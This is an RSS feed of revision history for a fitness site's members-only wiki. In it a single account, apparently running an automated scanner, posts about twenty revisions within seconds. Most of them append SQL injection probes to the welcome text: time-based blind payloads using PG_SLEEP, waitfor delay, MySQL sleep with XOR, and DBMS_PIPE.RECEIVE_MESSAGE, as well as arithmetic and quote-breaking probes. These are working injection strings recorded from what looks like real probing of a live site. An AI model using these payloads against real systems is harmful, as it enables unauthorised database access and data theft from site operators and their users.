<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="https://www.sixpacksmackdown.com/utility/feedstylesheets/rss.xsl" media="screen"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/"><channel><title>Subscriber Wiki</title><link>https://www.sixpacksmackdown.com/subscribers/w/subscriber-wiki</link><description /><dc:language>en-US</dc:language><generator>Telligent Community 11 Non-Production</generator><item><title>Mr.</title><link>https://www.sixpacksmackdown.com/subscribers/w/subscriber-wiki</link><pubDate>Tue, 16 Jun 2026 14:17:21 GMT</pubDate><guid isPermaLink="false">4e57d3c4-b13b-4df7-9d6e-674567b6c930:284930f2-722b-4880-8364-49671aa9ea81</guid><dc:creator>zFPWdwPk</dc:creator><description>Current Revision posted to Subscriber Wiki by zFPWdwPk on 6/16/2026 2:17:21 PM&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Welcome to the MEMBERS ONLY wiki. &lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;(select 198766*667891 from DUAL)&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;
</description></item><item><title>Mr.</title><link>https://www.sixpacksmackdown.com/subscribers/w/subscriber-wiki/90/defaultwikipage/revision/440</link><pubDate>Tue, 16 Jun 2026 14:17:21 GMT</pubDate><guid isPermaLink="false">4e57d3c4-b13b-4df7-9d6e-674567b6c930:284930f2-722b-4880-8364-49671aa9ea81</guid><dc:creator>zFPWdwPk</dc:creator><description>Revision 440 posted to Subscriber Wiki by zFPWdwPk on 6/16/2026 2:17:21 PM&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Welcome to the MEMBERS ONLY wiki. &lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;(select 198766*667891)&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;
</description></item><item><title>Mr.</title><link>https://www.sixpacksmackdown.com/subscribers/w/subscriber-wiki/90/defaultwikipage/revision/439</link><pubDate>Tue, 16 Jun 2026 14:17:21 GMT</pubDate><guid isPermaLink="false">4e57d3c4-b13b-4df7-9d6e-674567b6c930:284930f2-722b-4880-8364-49671aa9ea81</guid><dc:creator>zFPWdwPk</dc:creator><description>Revision 439 posted to Subscriber Wiki by zFPWdwPk on 6/16/2026 2:17:21 PM&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Welcome to the MEMBERS ONLY wiki. &lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;@@CNBk7&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;
</description></item><item><title>Mr.</title><link>https://www.sixpacksmackdown.com/subscribers/w/subscriber-wiki/90/defaultwikipage/revision/438</link><pubDate>Tue, 16 Jun 2026 14:17:20 GMT</pubDate><guid isPermaLink="false">4e57d3c4-b13b-4df7-9d6e-674567b6c930:284930f2-722b-4880-8364-49671aa9ea81</guid><dc:creator>zFPWdwPk</dc:creator><description>Revision 438 posted to Subscriber Wiki by zFPWdwPk on 6/16/2026 2:17:20 PM&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Welcome to the MEMBERS ONLY wiki. &lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In this area we will post various members only content such as supplemental workouts, detailed nutrition information such as approved foods lists and other members-only content.����%2527%2522\&amp;#39;\&amp;quot;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;
</description></item><item><title>Mr.</title><link>https://www.sixpacksmackdown.com/subscribers/w/subscriber-wiki/90/defaultwikipage/revision/437</link><pubDate>Tue, 16 Jun 2026 14:17:20 GMT</pubDate><guid isPermaLink="false">4e57d3c4-b13b-4df7-9d6e-674567b6c930:284930f2-722b-4880-8364-49671aa9ea81</guid><dc:creator>zFPWdwPk</dc:creator><description>Revision 437 posted to Subscriber Wiki by zFPWdwPk on 6/16/2026 2:17:20 PM&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Welcome to the MEMBERS ONLY wiki. &lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In this area we will post various members only content such as supplemental workouts, detailed nutrition information such as approved foods lists and other members-only content.&amp;#39;&amp;quot;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;
</description></item><item><title>Mr.</title><link>https://www.sixpacksmackdown.com/subscribers/w/subscriber-wiki/90/defaultwikipage/revision/436</link><pubDate>Tue, 16 Jun 2026 14:17:20 GMT</pubDate><guid isPermaLink="false">4e57d3c4-b13b-4df7-9d6e-674567b6c930:284930f2-722b-4880-8364-49671aa9ea81</guid><dc:creator>zFPWdwPk</dc:creator><description>Revision 436 posted to Subscriber Wiki by zFPWdwPk on 6/16/2026 2:17:20 PM&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Welcome to the MEMBERS ONLY wiki. &lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In this area we will post various members only content such as supplemental workouts, detailed nutrition information such as approved foods lists and other members-only content.&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;
</description></item><item><title>Mr.</title><link>https://www.sixpacksmackdown.com/subscribers/w/subscriber-wiki/90/defaultwikipage/revision/435</link><pubDate>Tue, 16 Jun 2026 14:17:20 GMT</pubDate><guid isPermaLink="false">4e57d3c4-b13b-4df7-9d6e-674567b6c930:284930f2-722b-4880-8364-49671aa9ea81</guid><dc:creator>zFPWdwPk</dc:creator><description>Revision 435 posted to Subscriber Wiki by zFPWdwPk on 6/16/2026 2:17:20 PM&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Welcome to the MEMBERS ONLY wiki. &lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In this area we will post various members only content such as supplemental workouts, detailed nutrition information such as approved foods lists and other members-only content.&amp;#39;||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||&amp;#39;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;
</description></item><item><title>Mr.</title><link>https://www.sixpacksmackdown.com/subscribers/w/subscriber-wiki/90/defaultwikipage/revision/434</link><pubDate>Tue, 16 Jun 2026 14:17:18 GMT</pubDate><guid isPermaLink="false">4e57d3c4-b13b-4df7-9d6e-674567b6c930:284930f2-722b-4880-8364-49671aa9ea81</guid><dc:creator>zFPWdwPk</dc:creator><description>Revision 434 posted to Subscriber Wiki by zFPWdwPk on 6/16/2026 2:17:18 PM&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Welcome to the MEMBERS ONLY wiki. &lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In this area we will post various members only content such as supplemental workouts, detailed nutrition information such as approved foods lists and other members-only content.8KsFo8qR&amp;#39;)) OR 142=(SELECT 142 FROM PG_SLEEP(15))--&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;
</description></item><item><title>Mr.</title><link>https://www.sixpacksmackdown.com/subscribers/w/subscriber-wiki/90/defaultwikipage/revision/433</link><pubDate>Tue, 16 Jun 2026 14:17:14 GMT</pubDate><guid isPermaLink="false">4e57d3c4-b13b-4df7-9d6e-674567b6c930:284930f2-722b-4880-8364-49671aa9ea81</guid><dc:creator>zFPWdwPk</dc:creator><description>Revision 433 posted to Subscriber Wiki by zFPWdwPk on 6/16/2026 2:17:14 PM&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Welcome to the MEMBERS ONLY wiki. &lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In this area we will post various members only content such as supplemental workouts, detailed nutrition information such as approved foods lists and other members-only content.wcHGG5xr&amp;#39;) OR 621=(SELECT 621 FROM PG_SLEEP(15))--&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;
</description></item><item><title>Mr.</title><link>https://www.sixpacksmackdown.com/subscribers/w/subscriber-wiki/90/defaultwikipage/revision/432</link><pubDate>Tue, 16 Jun 2026 14:17:12 GMT</pubDate><guid isPermaLink="false">4e57d3c4-b13b-4df7-9d6e-674567b6c930:284930f2-722b-4880-8364-49671aa9ea81</guid><dc:creator>zFPWdwPk</dc:creator><description>Revision 432 posted to Subscriber Wiki by zFPWdwPk on 6/16/2026 2:17:12 PM&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Welcome to the MEMBERS ONLY wiki. &lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In this area we will post various members only content such as supplemental workouts, detailed nutrition information such as approved foods lists and other members-only content.5vFtSJJy&amp;#39; OR 69=(SELECT 69 FROM PG_SLEEP(15))--&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;
</description></item><item><title>Mr.</title><link>https://www.sixpacksmackdown.com/subscribers/w/subscriber-wiki/90/defaultwikipage/revision/431</link><pubDate>Tue, 16 Jun 2026 14:17:09 GMT</pubDate><guid isPermaLink="false">4e57d3c4-b13b-4df7-9d6e-674567b6c930:284930f2-722b-4880-8364-49671aa9ea81</guid><dc:creator>zFPWdwPk</dc:creator><description>Revision 431 posted to Subscriber Wiki by zFPWdwPk on 6/16/2026 2:17:09 PM&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Welcome to the MEMBERS ONLY wiki. &lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In this area we will post various members only content such as supplemental workouts, detailed nutrition information such as approved foods lists and other members-only content.4a1SzbCd&amp;#39;)); waitfor delay &amp;#39;0:0:15&amp;#39; -- &lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;
</description></item><item><title>Mr.</title><link>https://www.sixpacksmackdown.com/subscribers/w/subscriber-wiki/90/defaultwikipage/revision/430</link><pubDate>Tue, 16 Jun 2026 14:17:07 GMT</pubDate><guid isPermaLink="false">4e57d3c4-b13b-4df7-9d6e-674567b6c930:284930f2-722b-4880-8364-49671aa9ea81</guid><dc:creator>zFPWdwPk</dc:creator><description>Revision 430 posted to Subscriber Wiki by zFPWdwPk on 6/16/2026 2:17:07 PM&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Welcome to the MEMBERS ONLY wiki. &lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In this area we will post various members only content such as supplemental workouts, detailed nutrition information such as approved foods lists and other members-only content.8vqg2heh&amp;#39;); waitfor delay &amp;#39;0:0:15&amp;#39; -- &lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;
</description></item><item><title>Mr.</title><link>https://www.sixpacksmackdown.com/subscribers/w/subscriber-wiki/90/defaultwikipage/revision/429</link><pubDate>Tue, 16 Jun 2026 14:17:05 GMT</pubDate><guid isPermaLink="false">4e57d3c4-b13b-4df7-9d6e-674567b6c930:284930f2-722b-4880-8364-49671aa9ea81</guid><dc:creator>zFPWdwPk</dc:creator><description>Revision 429 posted to Subscriber Wiki by zFPWdwPk on 6/16/2026 2:17:05 PM&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Welcome to the MEMBERS ONLY wiki. &lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In this area we will post various members only content such as supplemental workouts, detailed nutrition information such as approved foods lists and other members-only content.nf3fZGHY&amp;#39;; waitfor delay &amp;#39;0:0:15&amp;#39; -- &lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;
</description></item><item><title>Mr.</title><link>https://www.sixpacksmackdown.com/subscribers/w/subscriber-wiki/90/defaultwikipage/revision/428</link><pubDate>Tue, 16 Jun 2026 14:16:59 GMT</pubDate><guid isPermaLink="false">4e57d3c4-b13b-4df7-9d6e-674567b6c930:284930f2-722b-4880-8364-49671aa9ea81</guid><dc:creator>zFPWdwPk</dc:creator><description>Revision 428 posted to Subscriber Wiki by zFPWdwPk on 6/16/2026 2:16:59 PM&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Welcome to the MEMBERS ONLY wiki. &lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In this area we will post various members only content such as supplemental workouts, detailed nutrition information such as approved foods lists and other members-only content.-1 waitfor delay &amp;#39;0:0:15&amp;#39; -- &lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;
</description></item><item><title>Mr.</title><link>https://www.sixpacksmackdown.com/subscribers/w/subscriber-wiki/90/defaultwikipage/revision/427</link><pubDate>Tue, 16 Jun 2026 14:16:57 GMT</pubDate><guid isPermaLink="false">4e57d3c4-b13b-4df7-9d6e-674567b6c930:284930f2-722b-4880-8364-49671aa9ea81</guid><dc:creator>zFPWdwPk</dc:creator><description>Revision 427 posted to Subscriber Wiki by zFPWdwPk on 6/16/2026 2:16:57 PM&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Welcome to the MEMBERS ONLY wiki. &lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In this area we will post various members only content such as supplemental workouts, detailed nutrition information such as approved foods lists and other members-only content.-1); waitfor delay &amp;#39;0:0:15&amp;#39; -- &lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;
</description></item><item><title>Mr.</title><link>https://www.sixpacksmackdown.com/subscribers/w/subscriber-wiki/90/defaultwikipage/revision/426</link><pubDate>Tue, 16 Jun 2026 14:16:56 GMT</pubDate><guid isPermaLink="false">4e57d3c4-b13b-4df7-9d6e-674567b6c930:284930f2-722b-4880-8364-49671aa9ea81</guid><dc:creator>zFPWdwPk</dc:creator><description>Revision 426 posted to Subscriber Wiki by zFPWdwPk on 6/16/2026 2:16:56 PM&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Welcome to the MEMBERS ONLY wiki. &lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In this area we will post various members only content such as supplemental workouts, detailed nutrition information such as approved foods lists and other members-only content.-1; waitfor delay &amp;#39;0:0:15&amp;#39; -- &lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;
</description></item><item><title>Mr.</title><link>https://www.sixpacksmackdown.com/subscribers/w/subscriber-wiki/90/defaultwikipage/revision/425</link><pubDate>Tue, 16 Jun 2026 14:16:53 GMT</pubDate><guid isPermaLink="false">4e57d3c4-b13b-4df7-9d6e-674567b6c930:284930f2-722b-4880-8364-49671aa9ea81</guid><dc:creator>zFPWdwPk</dc:creator><description>Revision 425 posted to Subscriber Wiki by zFPWdwPk on 6/16/2026 2:16:53 PM&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Welcome to the MEMBERS ONLY wiki. &lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;(select(0)from(select(sleep(15)))v)/*&amp;#39;+(select(0)from(select(sleep(15)))v)+&amp;#39;&amp;quot;+(select(0)from(select(sleep(15)))v)+&amp;quot;*/&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;
</description></item><item><title>Mr.</title><link>https://www.sixpacksmackdown.com/subscribers/w/subscriber-wiki/90/defaultwikipage/revision/424</link><pubDate>Tue, 16 Jun 2026 14:16:52 GMT</pubDate><guid isPermaLink="false">4e57d3c4-b13b-4df7-9d6e-674567b6c930:284930f2-722b-4880-8364-49671aa9ea81</guid><dc:creator>zFPWdwPk</dc:creator><description>Revision 424 posted to Subscriber Wiki by zFPWdwPk on 6/16/2026 2:16:52 PM&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Welcome to the MEMBERS ONLY wiki. &lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In this area we will post various members only content such as supplemental workouts, detailed nutrition information such as approved foods lists and other members-only content.0&amp;quot;XOR(if(now()=sysdate(),sleep(15),0))XOR&amp;quot;Z&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;
</description></item><item><title>Mr.</title><link>https://www.sixpacksmackdown.com/subscribers/w/subscriber-wiki/90/defaultwikipage/revision/423</link><pubDate>Tue, 16 Jun 2026 14:16:49 GMT</pubDate><guid isPermaLink="false">4e57d3c4-b13b-4df7-9d6e-674567b6c930:284930f2-722b-4880-8364-49671aa9ea81</guid><dc:creator>zFPWdwPk</dc:creator><description>Revision 423 posted to Subscriber Wiki by zFPWdwPk on 6/16/2026 2:16:49 PM&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Welcome to the MEMBERS ONLY wiki. &lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In this area we will post various members only content such as supplemental workouts, detailed nutrition information such as approved foods lists and other members-only content.0&amp;#39;XOR(if(now()=sysdate(),sleep(15),0))XOR&amp;#39;Z&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;
</description></item><item><title>Mr.</title><link>https://www.sixpacksmackdown.com/subscribers/w/subscriber-wiki/90/defaultwikipage/revision/422</link><pubDate>Tue, 16 Jun 2026 14:16:47 GMT</pubDate><guid isPermaLink="false">4e57d3c4-b13b-4df7-9d6e-674567b6c930:284930f2-722b-4880-8364-49671aa9ea81</guid><dc:creator>zFPWdwPk</dc:creator><description>Revision 422 posted to Subscriber Wiki by zFPWdwPk on 6/16/2026 2:16:47 PM&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Welcome to the MEMBERS ONLY wiki. &lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;if(now()=sysdate(),sleep(15),0)&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;
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